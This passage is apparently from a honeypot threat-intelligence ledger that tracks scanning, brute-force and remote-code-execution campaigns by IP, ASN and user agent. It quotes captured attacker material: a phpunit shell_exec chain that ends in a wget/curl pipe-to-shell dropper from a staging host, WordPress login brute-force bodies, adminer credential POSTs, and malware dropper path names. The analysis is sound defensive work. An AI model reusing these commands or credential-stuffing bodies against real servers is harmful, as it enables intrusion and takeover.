admin username, one password per body, forged Chrome/78. №36: 134.209.110.125 (DigitalOcean SG; minted 4 canaries №35) ran two legs on lauterbourg: 3,050 system.multicall POSTs plus 3,049 wp-login form POSTs with site-aware passwords. №28: fifth operator 119.40.84.186 (BDCOM BD) burst→sustained with 18,063 xmlrpc + 18,063 wp-login POSTs over 6.5 h on netcup.
flowchart LR
OP["Operator rotates<br/>(1337 Svcs · GCP · Google BE · BDCOM BD)"] --> PRE["Preflight wlwmanifest<br/>+ wp/v2/users"]
PRE --> FLOOD["system.multicall flood<br/>1,600–18,063 POSTs"]
FLOOD --> WPL["wp-login phase<br/>one distinct password per POST"]
MALWARE-DICT active
№54: day 26+ — 2,017 ev / 569 paths (74% of control-1, ipsum:2). №53: Pfcloud loop continues on control-1 (2,066 ev / 578 paths, 38% of the node, ipsum:2). №52: Pfcloud loop day 24+ on control (1,944 ev / 579 paths, 58% of the node); sibling .219 touched all 8 sensors (24 ev). №43: 30th loop window — 2,198 ev / 571 paths on control (204.76.203.18); /24 siblings .237 and .219 ran 8-node light touches (72 / 16 ev) under the same Edg/90 UA as 91.92.40.236. №41 = 28th window: 2,248 ev on control (578 paths — volume recovered from №40's 872) plus a 6-ev ru-edge touch. №26 resume shape: 2,059 ev control + 2,060 ru-edge in 27 h, byte-identical, 569 paths.
№60: NEW TOOLING — gitdump/1.0 UA (honest, self-labeled): 195.178.110.68 (Techoff Srv BG block; /24 of the standing .137/.132 walkers) ran a 28-path git-internals walk with real object-hash fetches on ai-devbox-1 13:03 UTC and canary-farm-1 15:06 UTC (29 ev each, 8 fake-git object hits on farm), 0 mints. №54: NEW 3xK-class operator — 104.167.19.205 (3xK Tech GmbH US) canary-farm-1 06:34:29–32 EDT: 144 ev / 142 paths in 3 s, honest git/2.40.0, 143 fake-git + 1 gitignore, 0 mints — the exact №40–№42/№52 shape under a fourth block IP; the registered trio absent. №53: absent — no 144-ev git/2.40.0 walk this window; the MEVSPACE merge trigger (third sibling IP) stays open. №52: PAIR RETURNED under fresh sibling IPs — 104.207.37.126 (canary-farm-1, 14:11 EDT) + 65.111.4.237 (ai-devbox-1, 15:45 EDT), byte-identical 144 ev / 142 paths each in ~6–10 s, honest git/2.40.0 — the same shape as №40–№42's 3xK Tech GmbH pair/trio; light git/2.40.0 singles 45.3.48.30 + 45.3.37.79 (1 ev each). №49: IDLE — Interserver 209.159.155.142 and the DO trio absent; the 12/6d hoard stands unused. №48: FOURTH OPERATOR CLASS — the №23 watch single 209.159.155.142 (Interserver US) returned at scale: both EU nodes (farm 1,400 + aidev 1,365), 396 paths / 44 families each, 5-stage UA rotation (git/2.39.0, bare Mozilla/5.0, Firefox/109, `node`, NEW git/2.47.3), full hooks enumeration (fake-git-miss 1,310) + env/sql-dump/backup censuses, 12 mints (6/node) — the campaign's largest mint haul; first window since №23. №47: REACTIVATED — THIRD OPERATOR CLASS: synchronized DigitalOcean trio 178.128.169.110 + 144.126.227.243 (aidev 08:21/19:19 UTC) + 104.248.163.59 (control 01:55 UTC 10-10): identical 144-ev/142-path/1-min walks (143 fake-git + 1 gitignore), stale Firefox/78, 0 mints; owns aidev fake-git 3.1× + control 3.2×; watch object-hash fetches (GIT-VAULT №13 merge shape). Prior: №43: FIRST MISS after three consecutive windows (3xK trio absent). Separate: 102.220.161.102 (CREDSWEEP block, VPS Dedicated SI) ran a 144-path fake-git walk on aidev — a new operator for the template; watch for a repeat. Git-internals walk + secrets files. №42: THIRD consecutive window — NEW third IP 216.26.239.111 (3xK Tech, cc BR) ran the identical 144-ev / 142-path walk on canary-farm-1 (14:48 UTC), 0 mints. №41: the .149/.141 pair repeated the same walk 1 h apart. Honest git UA is the family fingerprint (git/2.39.0 → git/2.40.0).
flowchart LR
W["git/2.40.0 walk<br/>.git/HEAD · index · ORIG_HEAD"] --> HOOKS["hooks/*.sample<br/>full enumeration"]
HOOKS --> REFS["packed-refs · COMMIT_EDITMSG ·<br/>FETCH_HEAD"]
REFS --- PAIR["3xK Tech IPs ×3 across<br/>3 windows · 0 mints"]
LIBREDTAIL-KIT active
№59: honest-UA arm ESCALATED — standing daily runner 103.46.186.148 (56 ev/day since 09-16) doubled to 98 ev / 44 paths across 2 nodes and gained a NEW partner 45.137.194.154 (98 ev / 44 paths, first ever); forge-UA cluster 7e61a9500d8b widened to 15 IPs / 735 ev / 7 sensors. №58: honest-UA arm went DISTRIBUTED — four libredtail-http runners, all on ai-devbox-1 (169.58.137.184 10:57, 168.222.180.62 14:06, 190.171.189.85 17:22, 144.91.124.251 19:48 UTC-4; 46–49 ev each incl. 37 phpunit-eval-stdin, owning the node's 3.7× spike); forge-UA cluster 7e61a9500d8b continues 11 IPs / 539 ev / 6 sensors; dropper body uncaptured a 10th cycle. №57: phpunit arm at near-record spread — ~14 IPs at a uniform 37 ev each across 7 sensors (incl. lauterbourg-01-ts's first appearance, 92.5.155.195), cluster 7e61a9500d8b 13 IPs / 637 ev; honest-UA background runner 103.160.205.37 (libredtail-http) added docker-daemon-containers-list to its chain. №56: WIDEST RCE ARM ON RECORD — cluster 7e61a9500d8b 12 IPs / 532 ev on 6 sensors (control 1, netcup 4, ru-edge 3, frantech 1, farm 2, sponge 1), 5 key-exfil POSTs per IP, byte-identical base64 shell_exec body, 0 mints; dropper stage again unobserved. №54: cluster absent — no 7e61a9500d8b legs; first miss after two contracted windows. №53: cluster 7e61a9500d8b contracted — 6 IPs / 294 ev / 5 sensors (from №52's 13 / 637 / 6); no dropper capture this window. №52: 186.182.105.49 ran the 49-ev chain on ru-edge; the /bin/sh + php-cgi cmd-injection cluster 7e61a9500d8b ran fleet-wide (13 IPs / 637 ev, 6 sensors, first seen 08-29). №51: NINTH window, DROPPER CAPTURED — 84.46.241.102, two runs (lauterbourg 21:59 EDT + farm 02:55, 49 ev each, honest UA libredtail-http): phpunit md5('Hello PHPUnit') probes across 20+ directory permutations → shell_exec(base64_decode(cd /tmp || /var/tmp || /dev/shm…)) → POST /bin/sh dropper (wget --no-check-certificate -qO- https://217.60.102.5/sh || curl -sk …) | sh — THIRD staging host in 217.60.0.0/16 after 217.60.195.113 and 217.60.103.56. 0 mints. №50: EIGHTH window — six runs, all on ai-devbox-1 (37 ev each): 103.183.69.112 08:40, 107.150.123.48 14:39, 104.234.186.154 20:11, 107.173.53.218 22:27, 124.158.13.141 23:38 (also frantech), 103.79.184.145 02:18 10-13; three runs added cmd-injection-php-cgi-rce ×5; honest libredtail-http; 0 mints; dropper POST still unobserved. Owns aidev's phpunit-eval-stdin 4.4× spike (226). phpunit directory-permutation RCE, honest UA libredtail-http. №49: RETURN after three idle windows (№46–№48) — 3 fresh IPs (223.123.65.54, 202.155.18.56, 37.60.225.222) ran ~98 ev / 44 paths each across 2 nodes per IP (frantech+lauterbourg, lauterbourg+control, frantech+ru-edge): phpunit-eval-stdin → cmd-injection-php-cgi-rce → docker-daemon-containers-list under honest libredtail-http, plus kiteworks-root-redirect on the lauterbourg legs; dropper stage unobserved (no bodies captured). 0 mints. №40 (21st window): 4 full-kit IPs × 37 ev on lauterbourg (167.71.233.141, 102.244.97.185 repeat, 89.126.214.24, 118.145.104.37) — the phpunit-eval-stdin 4.8× spike on that node; the php-cgi delivery cluster 7e61a9500d8b ran 7 IPs / 343 events fleet-wide (farm/frantech/netcup/sponge). №36 (18th window): 16 full-kit IPs × 37 ev across 7 sensors; staging host 217.60.103.56 in bodies; repeat 102.244.97.185. №35 (17th window): 9 full-kit IPs at 37 ev each + 7-ev php-cgi delivery leg (same IPs, /bin/sh + cmd-injection-php-cgi-rce paths) across ai-devbox-1/netcup/sponge; dropper 12/12 → 217.60.103.56 arg apache. №33 (15th window): 18 full-kit IPs across ALL 8 sensors.
flowchart LR
P["md5(Hello PHPUnit)<br/>eval-stdin.php probe"] --> RCE["POST /index.php<br/>shell_exec(base64) →<br/>ed25519 key exfil"]
RCE --> DROP["POST /bin/sh dropper<br/>217.60.103.56/sh"]
DROP --> SH["curl | sh -s apache"]
INFOCREST-KIT active
№55: RETURNED — 37.19.200.138 (Datacamp Limited US) ran the kit on 3 nodes (farm 106, lauterbourg 180, aidev 115 ev): POST /adminer.php ×3 with prod_rw + ZbtXxWNnjb15U0CjE1zYTw, wp-batch empty + nested-multiplex bodies, kiteworks-root-redirect POSTs + kiteworks-login-attempt 401, webshell-sweep HEADs, phpmyadmin GETs; 2 mints (farm Chrome/107, aidev Firefox/105); python-requests/2.32.5 + Firefox/105 + Chrome/106 UAs. №53: 103.214.20.135 absent. A kit-shaped composite census ran under watch single 155.117.232.31 (phpmyadmin-login + phpunit-eval-stdin + env fanout, 4 sensors, 4 tracebit-http-error) but its stale Firefox/77 + Chrome/91 UA set does not match the kit's modern rotation — not attributed. №52: 103.214.20.135 RETURNED on 4 sensors (533 ev: aidev phpmyadmin-login 10 + sponge config-backup 5); 173.249.253.116 absent; no mints this window. №51: EIGHTH operator + .116's second window, fleet-wide — 173.249.253.116 ran SIX sensors (647 ev, 07:20–08:21 EDT) and NEW 103.214.20.135 (Host Universal Pty AU) ran FIVE (971 ev, 01:12–05:48, 7 mints); identical 16-UA rotation (Chrome 105–107 / Firefox 105–106 / Safari 16 + python-requests/2.32.5); adminer prod_rw POSTs (OQn1pAvGlHfGzKFLtLBqRw) + user=root&pass=wrong form login re-captured. №50: SEVENTH operator — 173.249.253.116 (tzulo US) ran the composite kit on 3 nodes (lauterbourg, aidev, farm; 765 ev, 30 POSTs, 23:05–00:04 EDT): tarpit cycling → phpmyadmin-login ×60 → adminer prod_rw POSTs with rotating 22-char passwords (y6BURr5uveZT_CgBSbVP7w, t60rl7Ls-JPLsVBDfD1S3Q) → webapp-config-bundle ×120 → wp-batch multiplex + tomcat-path-bypass-env ×30 + a form-login stage (user=root&pass=wrong ×6 — NightAgent overlap) + kiteworks legs; 6 mints (aidev 3, farm 3); no phpunit verify or dropper body captured. Composite kit, operator + password rotate per run. №23: fifth operator 41.249.4.249 (first residential). №24: absent.
Named operator 69.5.20.14 (Byteplus, ID). №24: first idle window. Byte-identical 404-path passes, 9-UA rotation, /.aliyun/* sweep.
flowchart LR
OP["Byteplus 69.5.20.14<br/>9-UA rotation"] --> CENSUS["404-path byte-identical<br/>census + suffix fanout"]
CENSUS --> ALI["/.aliyun/* 21-path<br/>credential sweep"]
ALI --> ZERO["0 mints —<br/>recon only"]
SYNC-ENUM-WAVE merged
MERGED into WP-FORM-BRUTE (№41): the fleet-wide wp-user-enum wave runs the SYNC-ENUM Chrome/127 UA family AND registered SYNC-ENUM runners (103.154.62.39, 119.198.229.152) inside the WP-FORM roster, now with credential POSTs added. Origin: №25 — 8 IPs, byte-identical 282-ev user-enum passes (270 tarpit + 12 enum calls), staggered ~15 min.
flowchart LR
Q["Scheduler queue<br/>1 IP per ~15-min slot"] --> P["Byte-identical 282-ev pass<br/>270 tarpit cycles + 12 enum calls"]
P --> N1["control"]
P --> N2["ru-edge"]
P --> N3["sponge"]
N1 --- ZERO["0 mints"]
MEGA-DICT active
№64: 24TH REPLAY — 155.2.191.115 (Host Universal Pty US, ipsum:1; the row's 155.2.191.165 is the SAME /24) frantech 01:09:32–01:10:27 UTC: full 13,776/13,776 in 55 s, 208-UA rotation, all 5 decoy singles; manifest intact for the fourth window. №63: 22ND+23RD replays — RETURN TO FRANTECH under tzulo + FIRST PARTIAL REPLAY. 23.234.118.146 (tzulo US; №34's replay host 23.234.117.146 is the /24 sibling) ran the full 13,776-path manifest in 55 s (03:29-03:30 UTC) under 208 router/IoT UA forgeries (TP-LINK WR940N, MikroTik WinBox 3.18, ZTE MC801A, aiohttp/3.8.6); 176.119.150.252 (Owl Limited DE) ran a 3,074-path STRICT SUBSET in 18 s with the same 208-UA rotation — one shared artifact split across two hosts, both carrying the 5 traveling decoy singles. Manifest held at 13,776 (anti-join vs pre-window hosts impossible — v_full frantech retention is shallow; size + decoys are the evidence). Drove frantech +99%. №62: TWENTIETH+TWENTY-FIRST replays — FIRST cross-host same-window pair and first off frantech: 103.125.233.17 (xTom HK, new host class) control-1 13,777 ev / 13,776 paths in 3.5 min under 209 router/IoT UAs; 169.150.211.193 (Datacamp Limited DE) ru-edge-1 13,776 ev / 13,776 paths in 58 s. Anti-join vs №59's host 23.234.116.20 (accumulated set): 13,776/13,776 kept, 0 new — manifest UNCHANGED at 13,776, consistent with №59's +29 growth; same artifact-carried decoy singles as №47. №59: NEW host 23.234.116.20 (tzulo US — third tzulo-hosted replay) — frantech 13,776 ev / 13,776 paths in ~2 min (05:54–05:55 UTC), 13,747 seen before, WORDLIST GREW +29: /bins/adb/akuma.* (15 archs), /bins/kushnet.* (11 archs), /bins/watchdog + 2 one-off UUID singles; 208 UAs in the IoT-router rotation. №58: NEW host 146.70.200.195 (M247, AU-cc) — frantech 13,747 ev / 13,747 paths 01:54–01:55 UTC-4 under a 25-strong IoT-router UA rotation; anti-join vs all-time frantech: +4 NEW (/s7cn4.x86, /eclipse.ppc, /jireyrsdnf/mips, /jireyrsdnf/x86). №57: 138.199.60.3 (Datacamp SG — the №55 host) replayed 13,742 paths on frantech 04:31–04:33 UTC; anti-join vs all-time frantech: +64 NEW — a second record-class growth (№56 was +66): /0c0et52nq5kb/assets/js/* hex-bucket paths + beacon/cegg/gb/hydra dropper families. №56: 193.32.248.130 (31173 Services AB DE — repeat operator ASN) replayed 13,678 paths in 1 m 22 s (04:18–04:20 UTC 10-19); 13,612 seen before (99.89%); WORDLIST GREW +66 — largest growth on record (№34 was +6): a new /l_*.sh dropper family (l_telnet, l_thinkphp, l_wifiweb, l_xwiki, l_spark, l_ssh, l_videoflow, l_weaver, l_wifi) plus /str_x86_64, /vb.sh, /samsung, /systemd-ntpd, /ttyd.sh, /vc.sh and more. №55: RETURNED AFTER ONE MISS with TWO operators — 138.199.60.3 (Datacamp SG, ipsum:1) 13,669 ev 07:21–07:25 EDT + 146.70.200.3 (M247 Europe) 13,612 ev 00:31–00:32 EDT on frantech-ts; BOTH fetched the same 13,612-path wordlist, 13,606 (99.96%) previously seen on frantech (anti-join) — shared artifact, rotating hosts; 6 new paths; hundreds of IoT/router UAs; 0 mints; 96% of the node's 28,291 events (+121%). №54: FIRST MISS after 20 replays — frantech-ts fell 97% (487 ev vs 14,423 in №53); no dictionary replay in the window. Paused pending one more window. №53: TWENTIETH replay — 23.234.116.20 (tzulo, inc. US — the ASN behind №34's 23.234.117.146) frantech-ts 13,606 ev / 13,606 distinct paths in ~1 min (00:12–00:13 EDT 10-16), 94% of the node's day; replay-only, 0 mints. №52: NINETEENTH replay — 176.119.150.64 (Owl Limited DE — the org name behind SS-PROBE's Owl Limited JP) frantech 13,583 ev / 13,583 paths in 91 s (01:26 EDT 10-15), router UA set (ASUS/TP-LINK/Tenda/Tencent) + curl/8.2.1 + Chrome/119 aarch64; 12,995 of 13,583 paths match the saved 13,000-path capture (+583 growth vs it, +18 vs №51's 13,565); 4 single decoy hits, 0 mints. №51: EIGHTEENTH replay — NEW host 185.209.196.130 (31173 Services AB DE, the ASN's third replay host after №30's 185.213.155.227 and №34's 193.32.126.191): 13,565 ev / 13,565 distinct paths in 2 min (02:10–02:12 EDT, frantech-ts), +11 paths vs №50. The same ASN also ran a small app-config census (193.32.126.169, UA 'wsn') on 3 nodes — two templates in one window again. №50: SEVENTEENTH replay — 23.234.118.20 (tzulo US, the ASN's third replay host) ran 13,554 ev / 13,554 distinct paths in 54 s on frantech-ts (23:56 EDT) under 200+ router/IoT device UAs; anti-join vs №49's set: +19 / −1 (13,536 → 13,554 measured). New: /bins/dvr/akuma_* ×13 archs + /bins/telnet/akuma_x64 (akuma grows), /armv7-l7 + /x64s-l7 (L7-filter variants), /enroll.sh, /nezha-agent, /in, /ront. 0 mints. №49: SIXTEENTH replay — 185.209.196.172 (31173 Services AB DE, ipsum:2, the ASN's THIRD host after №30's 185.213.155.227 and №34's 193.32.126.191) frantech 13,535 ev / 13,535 paths in ~1 min (00:48 EDT); anti-join vs №48 +33/−0 (13,502 → 13,535, ELEVENTH straight growth): /bins/android/akuma_* ×19 archs, /pack/agent/nodewatchd-linux-* ×8 archs, /bins/payloads/{c,w}.sh, /champ, /miner_setup.sh, /rainii686, /st_x86_64, /svc/u.sh. Host ledger: Datacamp ×5, tzulo ×3, 31173 ×3, Zenlayer ×2, Owl ×1. №48: FIFTEENTH replay — 23.234.118.20 (tzulo US — the №34 host class returns; ipsum:1) frantech 13,502 ev / 13,502 paths in 54 s; anti-join vs №47 +13/−0 (13,489→13,502, TENTH straight growth): new /mogh739/{metrics-agents,static-assets}/-/raw/main/* GitLab-raw installer set (11 paths), /d/432936b3a0439572/o/nnnnnede/init.sh2, /payload/1ay0eknhal4o/6lpiz8.sh. №47: FOURTEENTH replay — 193.32.248.142 (31173 Services AB DE, NEW host class for the campaign; ipsum:2) on frantech 05:21–05:22 UTC: 13,490 ev / 13,489 paths, 200+ router/IoT UAs, GET-only; anti-join vs №46 +11/−0 (13,478→13,489; growth series …+31/+29/+4/+11, ninth straight growth); 0 mints. №46: THIRTEENTH replay — 138.199.60.3 (Datacamp Limited SG, ipsum:1; new country for the Datacamp class) replayed on frantech 02:01–02:03 UTC: 13,478 ev / 13,478 paths in 2 min, GET-only, 95% of the node's window volume. Wordlist +4 vs №45's 13,474 (growth series …+31/+29/+4). Host ledger: Datacamp ×5, 31173 Services AB ×2, tzulo ×2, Zenlayer ×2, Owl ×1. №45: HOST RETURNED TO DATACAMP CLASS — 178.249.209.163 (Datacamp Limited CZ, ipsum:1) replayed on frantech 02:09–02:11 EDT: 13,474 ev / 13,474 paths in 2 min, GET-only, 208 UAs (IoT-router UPnP class this pass: Mi Router 3E, UniFi Dream Machine Pro, Totolink A3002RU, Phicomm P804-N2 + python-requests). Wordlist ≥+29 vs №44's 13,445 (13,474 distinct; +29 floor — /ce.sh, /qv3.mips first-seen). Host ledger: 31173 Services AB ×2, Datacamp ×4, tzulo ×2, Zenlayer ×2, Owl ×1. №44: HOST ROTATED — 176.119.150.252 (Owl Limited DE, new host class) replayed on frantech 01:24–01:25 EDT: 13,445 ev / 13,445 paths in 90 s, GET-only, 208 UAs. Anti-join vs №43's 13,414: +31 new / −0 dropped — SIXTH straight growth (+6/+27/+34/+39/+17/+31). New: /bots/{bot,dldr,mb,go_bot}.* families, /bins/morte.{arm,x86_64}, /bins/xnxnxnxn* ×6 archs, /pack/agent/nodewatchd-linux-386, /nyx_bot_linux_amd64_exec, /Hilix.sh, /87sbhas6as.sh, /adb.arm7, /m.sh. №43: 98.98.47.133 (Zenlayer MY, №40's host) returned — frantech 00:23–00:25 EDT, 13,414 ev / 13,414 paths in 2 min. Anti-join vs №42's set: +17 new / −1 dropped (13,398 → 13,414) — fifth straight growth (+6/+27/+34/+39/+17). New: /backup/winki.* ×10 archs, /nyx_bot_linux_{amd64,mipsle}_packed, /bins/dlink.sh, /bins/morte.i686, /botbin, /dropfix, /main_host, +3 /c/ token paths. №42: SAME-HOST RETURN — 185.213.155.227 (31173 Services AB, №30's host) replayed on frantech-ts 23:32–00:33 UTC: 13,398 events / 13,398 paths over ~1 h (slow pass vs the 2-min bursts), 0 mints. +209 paths vs its own 09-24 set; +39 vs №41's pooled 13,359 (4th straight growth: +6/+27/+34/+39). New families: /bins/aurora.* (Aurora), /bin/manta.* ×13 archs, /release/DS.*, /302/*, random-token paths. №41: 138.199.6.234 (Datacamp CH), +34 incl. first xmrig entries.
flowchart LR
F["13,776-path IoT dropper-URL<br/>dictionary — unchanged vs №58–59"] --> R1["№62 replay pair: xTom HK →<br/>control · Datacamp DE → ru-edge"]
R1 --- B["0 POSTs · 0 mints<br/>byte-shared artifact"]
F --- NEW["New families:<br/>aurora.* · manta.* ×13"]
WP-BATCH family recurring
Not a standalone campaign since №12: wp-batch bodies ride inside INFOCREST-KIT / AKAMAI-CONFIG / NIGHTAGENT chains (SQLi via author_exclude UNION SELECT).
№52: absent — 0 __ss_probe marker events. №46: 105.115.6.147 continued (4 mints: aidev 3 + farm 1, 5/6d); 105.115.5.210 absent. №45: THIRD-GENERATION operators — 105.115.5.210 ran the marker+mint template 3× (aidev 19:33, farm 20:06, aidev 20:24 EDT) + sibling 105.115.6.147 once (aidev 21:06), 4 mints, fresh marker per run, python-requests/2.31.0 — the 105.115.x pool recurs (№33's operator was 105.115.10.78). №44: same operator RETURNED on schedule — 105.112.26.83 minted 4 in 1 h (aidev ×3 + farm, 03:50–04:50 EDT), second consecutive window, same cadence. №43: THIRD operator — 105.112.26.83 minted 4 in 1 h (aidev ×3 + farm, 03:50–04:50 EDT) with marker /__ss_probe_6044ce427532cb1225692c4f1807383d__ under python-requests/2.31.0. №34: 105.115.10.78 returned solo (4 markers / 4 mints on ai-devbox-1) — its second run; 23.234.77.64 and the №32 originals absent. Operator ledger: 5 operators / 5 ASNs, every marker suffix fresh per run.
flowchart LR
P["GET /__ss_probe_<32-hex>__<br/>python-requests/2.31.0<br/>guarantees first-seen"] --> E["GET /.env → 200<br/>canary mint"]
E --> END["Run ends<br/>no POST · no fanout"]
CONFIG-SWEEP idle
№54: third absence. №53: second absence. №52: absent — 87.120.104.29 0 ev; first absence since the №47–№51 arc; 18 held credentials unwatched. №51: RETURN — 87.120.104.29 (Sino Worldwide NO, Googlebot/2.1 forgery) ru-edge 3,000 ev / 1,642 paths / 140 fams in two passes (11:39 + 19:31 EDT), 12 mints issued at /.env-class paths (18/6d) — the campaign's biggest mint run; drove ru-edge's app-config-php/app-config-python/application-properties/terraform-tfstate/webapp-config-bundle-js/fake-git/phpmyadmin spikes. №48: FIRST MISS in six windows — 87.120.104.29 absent; 12/6d held unused. №47: FIFTH window — ru-edge 1,650 ev / 1,642 paths / 140 fams in ~1 min (10:12 UTC 10-09, Googlebot/2.1) + 6 mints 10:12:40–50 (12/6d, 0 use); env-production ×187, ssh-private-key-error ×28, webshell-probe ×39. №46: FOURTH window — ESCALATED: 87.120.104.29 burst 300 ev / 150 paths / 40 families on canary-farm-1 in ONE SECOND (21:45:13–14 UTC, Googlebot/2.1); 144 events carried the NEW env-production-error tag (farm's env-production decoys answering /.env_backup, /.env.saved, /docker-compose/.env, /.env.old~ variants); 2 mint failures (400), 0 mints today (6/6d all from the 10-06 ru-edge run). №45: THIRD CONSECUTIVE WINDOW — 150 events (the light Googlebot/2.1 pass shape; node count verified 150 total). №44: SECOND CONSECUTIVE WINDOW, first on ru-edge — 1,650 ev / 140 fams / 1,642 paths in one burst 20:39 EDT under Googlebot/2.1: wp-config variant census + 12 SSH-private-key paths (drove ru-edge's new ssh-private-key-error tag, 30 ev) + 6 mints at /.env — FIRST MINTS SINCE №33. №43: 87.120.104.29 RETURNED with a changed kit — netcup 150 paths in 0.087 s under Googlebot/2.1, webshell-probe ×6 + dockerenv-marker (the Tamatiya shape), not the .env census; 0 mints. 87.120.104.29 (Sino Worldwide NO, Googlebot/2.1 forgery). №33: SECOND mint run — 12 mints inside farm's 2,950-ev 1-minute burst + 6 on control's 1,239-ev census. №34: NO NEW RUN — the window's control rows and 6 mints are the №33 run seen through the 24-h seam.
flowchart LR
B["1-minute census burst<br/>1,600+ paths, 121 families"] --> W["wp-config · app-config ·<br/>aws-credentials paths"]
W --> MINT["/.env mints<br/>18 in-window"]
WP-FORM-BRUTE active
№64: NEW LEG SHAPE — single-IP numeric enumeration: 121.40.140.50 (Hangzhou Alibaba CN) lauterbourg 18,032 POSTs over 13.5 h (15:44–05:17 UTC), bodies log=admin&pwd=<0,1,2,…>&redirect_to=http://89.116.25.211/wp-admin/&testcookie=1 — sequential passwords, NO _wpnonce, one UA; df15d0ee3ccf cluster legs continued on netcup/sponge (56/31 ev). №63: RECORD WINDOW — 494 distinct credential pairs fleet-wide (prior record 363): farm 224 pairs/103 IPs, control 125/5, netcup 56/2, sponge 44/2, lauterbourg 51/1 (bare Mozilla/5.0 single-IP leg); bodies log=admin + _wpnonce + testcookie, forged Chrome/130-151 class; the 200-pair growth alarm is blown. №57: FIRST ABSENCE after the №56 alarm — the 233-IP pool did not repeat (no wp-login-credential pool observed); the alarm verdict stays open until a second crossing or a stable retraction. №56: ALARM CROSSED — aidev wp-login-credentials 233 events from 233 distinct IPs (one POST each, 223 distinct bodies): the 200-pair growth alarm fired for the first time; the wp-admin leg collapsed to 1 IP / 2 ev. №54: pool 54 IPs / 165 wp-login events on ai-devbox-1 (cluster e6e6f15a77e8 47 IPs / 141 ev); wp-admin leg 09d3f351065c 5 IPs / 40 ev; below the 200-pair alarm. №53: pool e6e6f15a77e8 14 IPs / 42 ev on ai-devbox-1; the wp-admin leg 09d3f351065c returned (7 IPs / 56 ev, ai-devbox-1). №52: contracted — pool e6e6f15a77e8 38 IPs / 114 ev on aidev+farm; the №51 wp-admin leg 09d3f351065c absent; 0 mints, well below the 200-pair alarm. №51: TWELFTH window + NEW wp-admin walk leg (09d3f351065c, first seen 10-14): 21 IPs / 168 ev on aidev+farm under forged Chrome/146–152 — probe → credentials → /wp-admin/profile.php + /wp-admin/ [wp-admin-redirect] + wp-rest-auth-required (farm 44 + 39; aidev wp-login-credentials 79 4.1× / probe 164 5.0×); MEGA-DICT's replay (185.209.196.130, router UAs) also crossed the wp paths. №50: ELEVENTH window — ed66 leg 18 IPs / 72 ev (farm+aidev); df15 leg 3 IPs / 168 ev on farm+netcup+ru-edge (netcup and ru-edge are new nodes for df15); below the 200-pair growth alarm. №47 TENTH window — NEW CLASS 75df0dbb0841: 12 residential IPs × exactly 3 credential POSTs each (36 total, log=admin, tiny dict: Admin, admin@123, Admin@123, pass, demo, droidx1!, Bot@123456, sso@123, admin1!), FIRST vhost-aware redirect_to (sso.rightabouteverything.show on farm, inference.fapthropic.com on aidev); prior classes out. №46 NINTH window — CONTRACTED to background: 78 credential POSTs (farm 40, aidev 38) from the standing wp-login cluster (sig 9ff5e462ca0e: 22 IPs / 154 probe+credential events); the CANADA 217.60.x class absent, no year-theme bodies captured. №45 EIGHTH window — MAJOR ESCALATION: 886 wp-login-credential POSTs (farm 459 + control 427, 8.2×/inf ratios) from ~25 IPs. NEW OPERATOR CLASS: 12651980 CANADA INC. (AE) block 217.60.196.x + 217.60.198.x ran a synchronized distributed wave on farm+control (≥19 IPs, 18–44 POSTs each, 10:48–22:17 EDT) with a YEAR-THEMED dictionary — log=admin|webmaster vs pwd=Admin#2026, Webmaster!2024, P@ssw0rd@2026 (bodies verbatim, _wpnonce + testcookie anatomy kept). NEW xmlrpc method wp.getAuthors (2 POSTs). Second class: 3-IP synchronized tarpit+brute (160.251.210.23 GMO JP, 107.190.185.67 Silver Star US, 51.210.150.97 OVH FR, 09:04 farm + 09:18 control, 14 min apart, 16-min POST cadence) + singles 43.162.96.166, 159.223.213.68, 162.243.247.186, 185.216.203.177. FIRST control-1 wp-login activity at scale; enum rest-single 20 ev (.14). №44 SEVENTH window — CONTRACTED: 80 credential POSTs / 13 IPs + 9 xmlrpc / 6 IPs (ed66 leg only); enum absent a THIRD window. №43 SIXTH window: enum stage absent a SECOND window (0 wp-user-enum-rest); 92 credential POSTs from 42 IPs + 123 probes / 41 IPs + 32 xmlrpc / 24 IPs; ed66 leg 21 IPs / 84 ev — the only registered signature in today's cluster table. ⟳ 5th window №42: roster grew to 46 runner IPs across the wp-login/xmlrpc/enum surfaces, but the wp-json ENUMERATION STAGE VANISHED (0 wp-user-enum-rest vs ~840 in №41) — a credential-only wave: df15d0ee3ccf 6 IPs/370 POSTs (3 sensors) + ed66cc967251 21 IPs/84 + NEW sig 2bdde2df2cf6 (4 IPs, aidev). NEW one-POST generation (Chrome/152 class) derives passwords from the target vhost: pwd=inference (fapthropic), pwd=sso (rightabouteverything), amen123. №41: ~25 runners, 840 enum + ~540 credential POSTs.
flowchart LR
Q["Rotating roster<br/>~25 runners · 7 of 8 nodes"] --> E["wp-json users list<br/>+ single-ID enum"]
E --> G["GET /wp-login.php probe<br/>harvest nonce + testcookie"]
G --> P["POST log=admin|webmaster|editor<br/>one password per body"]
P --> R["redirect_to = fleet vhost<br/>numeric + dictionary modes"]
ZKILLU-GITWALK idle
№40: NO SECOND WINDOW — 169.40.142.2 absent, no second IP or node, and no AWS use of its 2 canaries. One window so far. №39 ⚠ NEW: single-IP git-internals mass walk — 169.40.142.2 (Zkillu SAS FR) ran 14,787 events / 10,150 paths / 44 families on canary-farm-1 in 10 minutes (12:46–12:56 UTC+4), the fleet-record single-IP event. Shape: HEAD / + robots/sitemap tarpit probes, a config census (/config/app.php, /html/.env, /.circleci/config.yml, /credentials.json, /secrets.json, /.aws/credentials, /.env — 2 mints), then the fake-git mass: 11,281 fake-git-miss + 2,333 fake-git + 760 fake-git-redirect, with HTML-fragment garbage paths (/.git/logs/refs/<h1>Index, /<pre>, /<hr>) that indicate the tool scrapes link targets out of served HTML. Bare stripped-Chrome UA (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, no platform token). Drove canary-farm-1 +262% and the fake-git-miss 3,760× spike.
flowchart LR
T["HEAD / · robots.txt · sitemap.xml<br/>tarpit probes"] --> C["Config census<br/>.env · CI configs · secrets"]
C --> MINT["/.env — 2 mints"]
C --> W["Git-internals mass walk<br/>14.4k fake-git events"]
W --> GARBAGE["HTML-fragment paths<br/>/.git/logs/refs/<h1>Index"]
SS-NET TOOLING active
